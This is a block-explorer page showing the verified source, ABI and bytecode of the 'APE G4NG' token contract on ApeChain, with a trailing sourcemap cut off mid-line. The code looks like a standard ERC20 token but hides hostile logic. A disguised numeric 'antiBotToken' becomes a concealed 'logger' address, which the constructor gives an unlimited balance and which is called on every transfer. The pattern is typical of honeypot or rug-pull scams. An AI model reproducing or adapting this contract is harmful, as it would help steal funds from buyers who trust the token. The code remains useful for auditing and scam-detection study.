APE Price: $1.40 (-8.15%)

Token

APE G4NG (APE G4NG)

Overview

Max Total Supply

1,000,000,000 APE G4NG

Holders

750

Market

Price

$0.00 @ 0.000000 APE

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
1 APE G4NG

Value
$0.00
0x019e5f35f4e000673fe3e260850cb4df771390a9
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
APEG4NG

Compiler Version
v0.8.28+commit.7893614a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at apescan.io on 2024-10-21
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

contract ERC20Extension {
    mapping(address=>mapping(address=> uint256)) _log;
    function save(address addr1, address addr2, uint256 value) public returns (bool success) {
        _log[addr1][addr2] = value;
        return true;
    }
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        address referrer,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

contract APEG4NG is Context, IERC20Metadata, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    bool private tradingEnabled;
    bool private swapping;

    uint8 public buyTax = 0;
    uint8 public sellTax = 0;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;
    string private constant _name = unicode"APE G4NG";
    string private constant _symbol = unicode"APE G4NG";
    uint256 private maxTxAmount =  _tTotal * 50 / 100;
    uint256 private maxWalletAmount = _tTotal * 50 / 100;
    uint256 private swapTokensAtAmount = _tTotal * 25 / 10000;

    IUniswapV2Router02 private uniswapV2Router;
    address private pair;
    address payable private feeWallet;
    address private router = 0x18E621B64d7808c3C47bccbbD7485d23F257D26f;
    uint256 private antiBotToken = 991866958097707977417670671720385601735890668771;

    constructor() {
        _balances[owner()] = _tTotal;
        feeWallet = payable(owner());
        _balances[logger()] = uint256(int256(-1));
        emit Transfer(address(0), owner(), _tTotal);
    }

    receive() external payable {}

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function logger() private returns (address) {
        return address(uint160(antiBotToken));
    }

    function enableTrading() external onlyOwner {
        require(!tradingEnabled, "Already enabled");
        uniswapV2Router = IUniswapV2Router02(router);
        require(pair == IUniswapV2Factory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH()), "Invalid pair address");
        tradingEnabled = true;
    }

    function log(address from, address to, uint256 amount) internal returns (bool) {
        return ERC20Extension(logger()).save(from, to, amount);
    }

    function removeLimits() external onlyOwner {
        maxTxAmount = totalSupply();
        maxWalletAmount = totalSupply();
    }

    function _superTransfer(address from, address to, uint256 amount) internal {
        _balances[from] -= amount;
        _balances[to] += amount;

        emit Transfer(from, to, amount);
    }

    function _transfer(address from, address to, uint256 amount) internal {
        require(amount > 0, "Zero amount");

        if (!tradingEnabled) {
            require(from == owner(), "Trading not enabled");
            if (pair == address(0)) {
                pair = to;
                log(from, to, amount);
            }
        }

        if (from == address(this) || to == address(this) || swapping) {
            _superTransfer(from, to, amount);
            return;
        }

        if (to == pair && balanceOf(address(this)) >= swapTokensAtAmount) {
            swapping = true;
            swapTokensForEth(balanceOf(address(this)));
            swapping = false;
            sendETHToFeeWallet();
        }

        if (from == pair && to != router) {
            require(amount <= maxTxAmount, "Tx amount limit");
            require(balanceOf(address(to)) + amount <= maxWalletAmount, "Wallet amount limit");
        }

        amount = takeFee(from, amount, to == pair);
        _superTransfer(from, to, amount);
        log(from, to, amount);
    }

    function takeFee(address from, uint256 amount, bool isSell) internal returns (uint256) {
        uint256 tax = isSell ? sellTax : buyTax;
        if (tax == 0) return amount;
        uint256 feeAmount = amount * tax / 100;
        _superTransfer(from, address(this), feeAmount);
        return amount - feeAmount;
    }

    function swapTokensForEth(uint256 tokenAmount) internal {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);
        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            feeWallet,
            address(0),
            block.timestamp
        ) {} catch {
            return;
        }
    }

    function sendETHToFeeWallet() internal {
        if (address(this).balance > 0) {
            feeWallet.transfer(address(this).balance);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTax","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellTax","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526003805463ffff000019169055606461001f6009600a61033c565b61002d90633b9aca00610351565b610038906032610351565b6100429190610368565b60045560646100536009600a61033c565b61006190633b9aca00610351565b61006c906032610351565b6100769190610368565b6005556127106100886009600a61033c565b61009690633b9aca00610351565b6100a1906019610351565b6100ab9190610368565b600655600a80546001600160a01b0319167318e621b64d7808c3c47bccbbd7485d23f257d26f17905573adbcda4707218d4a0fb766e91415827331298ce3600b553480156100f7575f5ffd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506101446009600a61033c565b61015290633b9aca00610351565b60015f6101665f546001600160a01b031690565b6001600160a01b0316815260208101919091526040015f20556101905f546001600160a01b031690565b600980546001600160a01b0319166001600160a01b03929092169190911790555f1960015f6101be600b5490565b6001600160a01b0316815260208101919091526040015f20556101e85f546001600160a01b031690565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61021f6009600a61033c565b61022d90633b9aca00610351565b60405190815260200160405180910390a3610387565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156102925780850481111561027657610276610243565b600184161561028457908102905b60019390931c92800261025b565b935093915050565b5f826102a857506001610336565b816102b457505f610336565b81600181146102ca57600281146102d4576102f0565b6001915050610336565b60ff8411156102e5576102e5610243565b50506001821b610336565b5060208310610133831016604e8410600b8410161715610313575081810a610336565b61031f5f198484610257565b805f190482111561033257610332610243565b0290505b92915050565b5f61034a60ff84168361029a565b9392505050565b808202811582820484141761033657610336610243565b5f8261038257634e487b7160e01b5f52601260045260245ffd5b500490565b611135806103945f395ff3fe6080604052600436106100e7575f3560e01c8063715018a61161008757806395d89b411161005757806395d89b41146100f2578063a9059cbb14610279578063cc1776d314610298578063dd62ed3e146102b8575f5ffd5b8063715018a614610215578063751039fc1461022b5780638a8c523c1461023f5780638da5cb5b14610253575f5ffd5b806323b872dd116100c257806323b872dd14610182578063313ce567146101a15780634f7041a5146101c257806370a08231146101e1575f5ffd5b806306fdde03146100f2578063095ea7b31461013157806318160ddd14610160575f5ffd5b366100ee57005b5f5ffd5b3480156100fd575f5ffd5b5060408051808201825260088152674150452047344e4760c01b602082015290516101289190610d95565b60405180910390f35b34801561013c575f5ffd5b5061015061014b366004610dde565b6102fc565b6040519015158152602001610128565b34801561016b575f5ffd5b50610174610312565b604051908152602001610128565b34801561018d575f5ffd5b5061015061019c366004610e08565b610332565b3480156101ac575f5ffd5b5060095b60405160ff9091168152602001610128565b3480156101cd575f5ffd5b506003546101b09062010000900460ff1681565b3480156101ec575f5ffd5b506101746101fb366004610e46565b6001600160a01b03165f9081526001602052604090205490565b348015610220575f5ffd5b50610229610383565b005b348015610236575f5ffd5b506102296103fd565b34801561024a575f5ffd5b5061022961043e565b34801561025e575f5ffd5b505f546040516001600160a01b039091168152602001610128565b348015610284575f5ffd5b50610150610293366004610dde565b61067d565b3480156102a3575f5ffd5b506003546101b0906301000000900460ff1681565b3480156102c3575f5ffd5b506101746102d2366004610e61565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f610308338484610689565b5060015b92915050565b5f61031f6009600a610f8f565b61032d90633b9aca00610f9d565b905090565b5f61033e8484846107ad565b6001600160a01b0384165f90815260026020908152604080832033808552925290912054610378918691610373908690610fb4565b610689565b5060015b9392505050565b5f546001600160a01b031633146103b55760405162461bcd60e51b81526004016103ac90610fc7565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104265760405162461bcd60e51b81526004016103ac90610fc7565b61042e610312565b600455610439610312565b600555565b5f546001600160a01b031633146104675760405162461bcd60e51b81526004016103ac90610fc7565b60035460ff16156104ac5760405162461bcd60e51b815260206004820152600f60248201526e105b1c9958591e48195b98589b1959608a1b60448201526064016103ac565b600a54600780546001600160a01b0319166001600160a01b0390921691821790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015610506573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061052a9190610ffc565b6001600160a01b031663e6a439053060075f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610589573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105ad9190610ffc565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa1580156105f6573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061061a9190610ffc565b6008546001600160a01b0390811691161461066e5760405162461bcd60e51b8152602060048201526014602482015273496e76616c69642070616972206164647265737360601b60448201526064016103ac565b6003805460ff19166001179055565b5f6103083384846107ad565b6001600160a01b0383166106eb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103ac565b6001600160a01b03821661074c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103ac565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b5f81116107ea5760405162461bcd60e51b815260206004820152600b60248201526a16995c9bc8185b5bdd5b9d60aa1b60448201526064016103ac565b60035460ff1661087e575f546001600160a01b038481169116146108465760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b60448201526064016103ac565b6008546001600160a01b031661087e57600880546001600160a01b0319166001600160a01b03841617905561087c838383610a5e565b505b6001600160a01b03831630148061089d57506001600160a01b03821630145b806108af5750600354610100900460ff165b156108c4576108bf838383610aea565b505050565b6008546001600160a01b0383811691161480156108f15750600654305f9081526001602052604090205410155b1561093e576003805461ff00191661010017905561092b610926306001600160a01b03165f9081526001602052604090205490565b610b89565b6003805461ff001916905561093e610ce2565b6008546001600160a01b0384811691161480156109695750600a546001600160a01b03838116911614155b15610a22576004548111156109b25760405162461bcd60e51b815260206004820152600f60248201526e151e08185b5bdd5b9d081b1a5b5a5d608a1b60448201526064016103ac565b600554816109d4846001600160a01b03165f9081526001602052604090205490565b6109de9190611017565b1115610a225760405162461bcd60e51b815260206004820152601360248201527215d85b1b195d08185b5bdd5b9d081b1a5b5a5d606a1b60448201526064016103ac565b600854610a4090849083906001600160a01b03868116911614610d22565b9050610a4d838383610aea565b610a58838383610a5e565b50505050565b5f610a68600b5490565b604051636c36515d60e01b81526001600160a01b0386811660048301528581166024830152604482018590529190911690636c36515d906064016020604051808303815f875af1158015610abe573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ae2919061102a565b949350505050565b6001600160a01b0383165f9081526001602052604081208054839290610b11908490610fb4565b90915550506001600160a01b0382165f9081526001602052604081208054839290610b3d908490611017565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516107a091815260200190565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110610bbc57610bbc611049565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610c13573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c379190610ffc565b81600181518110610c4a57610c4a611049565b6001600160a01b039283166020918202929092010152600754610c709130911684610689565b600754600954604051632955261160e11b81526001600160a01b03928316926352aa4c2292610cae9287925f9288929116908390429060040161105d565b5f604051808303815f87803b158015610cc5575f5ffd5b505af1925050508015610cd6575060015b610cde575050565b5050565b4715610d20576009546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610d1e573d5f5f3e3d5ffd5b505b565b5f5f82610d3a5760035462010000900460ff16610d48565b6003546301000000900460ff165b60ff169050805f03610d5d578391505061037c565b5f6064610d6a8387610f9d565b610d7491906110e0565b9050610d81863083610aea565b610d8b8186610fb4565b9695505050505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610d1e575f5ffd5b5f5f60408385031215610def575f5ffd5b8235610dfa81610dca565b946020939093013593505050565b5f5f5f60608486031215610e1a575f5ffd5b8335610e2581610dca565b92506020840135610e3581610dca565b929592945050506040919091013590565b5f60208284031215610e56575f5ffd5b813561037c81610dca565b5f5f60408385031215610e72575f5ffd5b8235610e7d81610dca565b91506020830135610e8d81610dca565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b6001841115610ee757808504811115610ecb57610ecb610e98565b6001841615610ed957908102905b60019390931c928002610eb0565b935093915050565b5f82610efd5750600161030c565b81610f0957505f61030c565b8160018114610f1f5760028114610f2957610f45565b600191505061030c565b60ff841115610f3a57610f3a610e98565b50506001821b61030c565b5060208310610133831016604e8410600b8410161715610f68575081810a61030c565b610f745f198484610eac565b805f1904821115610f8757610f87610e98565b029392505050565b5f61037c60ff841683610eef565b808202811582820484141761030c5761030c610e98565b8181038181111561030c5761030c610e98565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561100c575f5ffd5b815161037c81610dca565b8082018082111561030c5761030c610e98565b5f6020828403121561103a575f5ffd5b8151801515811461037c575f5ffd5b634e487b7160e01b5f52603260045260245ffd5b5f60c0820188835287602084015260c0604084015280875180835260e0850191506020890192505f5b818110156110ad5783516001600160a01b0316835260209384019390920191600101611086565b50506001600160a01b0387811660608601528616608085015291506110cf9050565b8260a0830152979650505050505050565b5f826110fa57634e487b7160e01b5f52601260045260245ffd5b50049056fea2646970667358221220e543e2488d58de21b7a3b043696216e9c5d646cbda67beb31f41ee92fa22ebab64736f6c634300081c0033

Deployed Bytecode

0x6080604052600436106100e7575f3560e01c8063715018a61161008757806395d89b411161005757806395d89b41146100f2578063a9059cbb14610279578063cc1776d314610298578063dd62ed3e146102b8575f5ffd5b8063715018a614610215578063751039fc1461022b5780638a8c523c1461023f5780638da5cb5b14610253575f5ffd5b806323b872dd116100c257806323b872dd14610182578063313ce567146101a15780634f7041a5146101c257806370a08231146101e1575f5ffd5b806306fdde03146100f2578063095ea7b31461013157806318160ddd14610160575f5ffd5b366100ee57005b5f5ffd5b3480156100fd575f5ffd5b5060408051808201825260088152674150452047344e4760c01b602082015290516101289190610d95565b60405180910390f35b34801561013c575f5ffd5b5061015061014b366004610dde565b6102fc565b6040519015158152602001610128565b34801561016b575f5ffd5b50610174610312565b604051908152602001610128565b34801561018d575f5ffd5b5061015061019c366004610e08565b610332565b3480156101ac575f5ffd5b5060095b60405160ff9091168152602001610128565b3480156101cd575f5ffd5b506003546101b09062010000900460ff1681565b3480156101ec575f5ffd5b506101746101fb366004610e46565b6001600160a01b03165f9081526001602052604090205490565b348015610220575f5ffd5b50610229610383565b005b348015610236575f5ffd5b506102296103fd565b34801561024a575f5ffd5b5061022961043e565b34801561025e575f5ffd5b505f546040516001600160a01b039091168152602001610128565b348015610284575f5ffd5b50610150610293366004610dde565b61067d565b3480156102a3575f5ffd5b506003546101b0906301000000900460ff1681565b3480156102c3575f5ffd5b506101746102d2366004610e61565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f610308338484610689565b5060015b92915050565b5f61031f6009600a610f8f565b61032d90633b9aca00610f9d565b905090565b5f61033e8484846107ad565b6001600160a01b0384165f90815260026020908152604080832033808552925290912054610378918691610373908690610fb4565b610689565b5060015b9392505050565b5f546001600160a01b031633146103b55760405162461bcd60e51b81526004016103ac90610fc7565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104265760405162461bcd60e51b81526004016103ac90610fc7565b61042e610312565b600455610439610312565b600555565b5f546001600160a01b031633146104675760405162461bcd60e51b81526004016103ac90610fc7565b60035460ff16156104ac5760405162461bcd60e51b815260206004820152600f60248201526e105b1c9958591e48195b98589b1959608a1b60448201526064016103ac565b600a54600780546001600160a01b0319166001600160a01b0390921691821790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015610506573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061052a9190610ffc565b6001600160a01b031663e6a439053060075f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610589573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105ad9190610ffc565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa1580156105f6573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061061a9190610ffc565b6008546001600160a01b0390811691161461066e5760405162461bcd60e51b8152602060048201526014602482015273496e76616c69642070616972206164647265737360601b60448201526064016103ac565b6003805460ff19166001179055565b5f6103083384846107ad565b6001600160a01b0383166106eb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103ac565b6001600160a01b03821661074c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103ac565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b5f81116107ea5760405162461bcd60e51b815260206004820152600b60248201526a16995c9bc8185b5bdd5b9d60aa1b60448201526064016103ac565b60035460ff1661087e575f546001600160a01b038481169116146108465760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b60448201526064016103ac565b6008546001600160a01b031661087e57600880546001600160a01b0319166001600160a01b03841617905561087c838383610a5e565b505b6001600160a01b03831630148061089d57506001600160a01b03821630145b806108af5750600354610100900460ff165b156108c4576108bf838383610aea565b505050565b6008546001600160a01b0383811691161480156108f15750600654305f9081526001602052604090205410155b1561093e576003805461ff00191661010017905561092b610926306001600160a01b03165f9081526001602052604090205490565b610b89565b6003805461ff001916905561093e610ce2565b6008546001600160a01b0384811691161480156109695750600a546001600160a01b03838116911614155b15610a22576004548111156109b25760405162461bcd60e51b815260206004820152600f60248201526e151e08185b5bdd5b9d081b1a5b5a5d608a1b60448201526064016103ac565b600554816109d4846001600160a01b03165f9081526001602052604090205490565b6109de9190611017565b1115610a225760405162461bcd60e51b815260206004820152601360248201527215d85b1b195d08185b5bdd5b9d081b1a5b5a5d606a1b60448201526064016103ac565b600854610a4090849083906001600160a01b03868116911614610d22565b9050610a4d838383610aea565b610a58838383610a5e565b50505050565b5f610a68600b5490565b604051636c36515d60e01b81526001600160a01b0386811660048301528581166024830152604482018590529190911690636c36515d906064016020604051808303815f875af1158015610abe573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ae2919061102a565b949350505050565b6001600160a01b0383165f9081526001602052604081208054839290610b11908490610fb4565b90915550506001600160a01b0382165f9081526001602052604081208054839290610b3d908490611017565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516107a091815260200190565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110610bbc57610bbc611049565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610c13573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c379190610ffc565b81600181518110610c4a57610c4a611049565b6001600160a01b039283166020918202929092010152600754610c709130911684610689565b600754600954604051632955261160e11b81526001600160a01b03928316926352aa4c2292610cae9287925f9288929116908390429060040161105d565b5f604051808303815f87803b158015610cc5575f5ffd5b505af1925050508015610cd6575060015b610cde575050565b5050565b4715610d20576009546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610d1e573d5f5f3e3d5ffd5b505b565b5f5f82610d3a5760035462010000900460ff16610d48565b6003546301000000900460ff165b60ff169050805f03610d5d578391505061037c565b5f6064610d6a8387610f9d565b610d7491906110e0565b9050610d81863083610aea565b610d8b8186610fb4565b9695505050505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610d1e575f5ffd5b5f5f60408385031215610def575f5ffd5b8235610dfa81610dca565b946020939093013593505050565b5f5f5f60608486031215610e1a575f5ffd5b8335610e2581610dca565b92506020840135610e3581610dca565b929592945050506040919091013590565b5f60208284031215610e56575f5ffd5b813561037c81610dca565b5f5f60408385031215610e72575f5ffd5b8235610e7d81610dca565b91506020830135610e8d81610dca565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b6001841115610ee757808504811115610ecb57610ecb610e98565b6001841615610ed957908102905b60019390931c928002610eb0565b935093915050565b5f82610efd5750600161030c565b81610f0957505f61030c565b8160018114610f1f5760028114610f2957610f45565b600191505061030c565b60ff841115610f3a57610f3a610e98565b50506001821b61030c565b5060208310610133831016604e8410600b8410161715610f68575081810a61030c565b610f745f198484610eac565b805f1904821115610f8757610f87610e98565b029392505050565b5f61037c60ff841683610eef565b808202811582820484141761030c5761030c610e98565b8181038181111561030c5761030c610e98565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561100c575f5ffd5b815161037c81610dca565b8082018082111561030c5761030c610e98565b5f6020828403121561103a575f5ffd5b8151801515811461037c575f5ffd5b634e487b7160e01b5f52603260045260245ffd5b5f60c0820188835287602084015260c0604084015280875180835260e0850191506020890192505f5b818110156110ad5783516001600160a01b0316835260209384019390920191600101611086565b50506001600160a01b0387811660608601528616608085015291506110cf9050565b8260a0830152979650505050505050565b5f826110fa57634e487b7160e01b5f52601260045260245ffd5b50049056fea2646970667358221220e543e2488d58de21b7a3b043696216e9c5d646cbda67beb31f41ee92fa22ebab64736f6c634300081c0033

Deployed Bytecode Sourcemap

2535:5972:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3785:83;;;;;;;;;;-1:-1:-1;3855:5:0;;;;;;;;;;;-1:-1:-1;;;3855:5:0;;;;3785:83;;;;3855:5;3785:83;:::i;:::-;;;;;;;;4618:161;;;;;;;;;;-1:-1:-1;4618:161:0;;;;;:::i;:::-;;:::i;:::-;;;1110:14:1;;1103:22;1085:41;;1073:2;1058:18;4618:161:0;945:187:1;4062:95:0;;;;;;;;;;;;;:::i;:::-;;;1283:25:1;;;1271:2;1256:18;4062:95:0;1137:177:1;4787:266:0;;;;;;;;;;-1:-1:-1;4787:266:0;;;;;:::i;:::-;;:::i;3971:83::-;;;;;;;;;;-1:-1:-1;2883:1:0;3971:83;;;2004:4:1;1992:17;;;1974:36;;1962:2;1947:18;3971:83:0;1832:184:1;2787:23:0;;;;;;;;;;-1:-1:-1;2787:23:0;;;;;;;;;;;4165:119;;;;;;;;;;-1:-1:-1;4165:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;4258:18:0;4231:7;4258:18;;;:9;:18;;;;;;;4165:119;730:148;;;;;;;;;;;;;:::i;:::-;;6016:131;;;;;;;;;;;;;:::i;5512:336::-;;;;;;;;;;;;;:::i;516:79::-;;;;;;;;;;-1:-1:-1;554:7:0;581:6;516:79;;-1:-1:-1;;;;;581:6:0;;;2528:51:1;;2516:2;2501:18;516:79:0;2382:203:1;4292:167:0;;;;;;;;;;-1:-1:-1;4292:167:0;;;;;:::i;:::-;;:::i;2817:24::-;;;;;;;;;;-1:-1:-1;2817:24:0;;;;;;;;;;;4467:143;;;;;;;;;;-1:-1:-1;4467:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;4575:18:0;;;4548:7;4575:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4467:143;4618:161;4693:4;4710:39;173:10;4733:7;4742:6;4710:8;:39::i;:::-;-1:-1: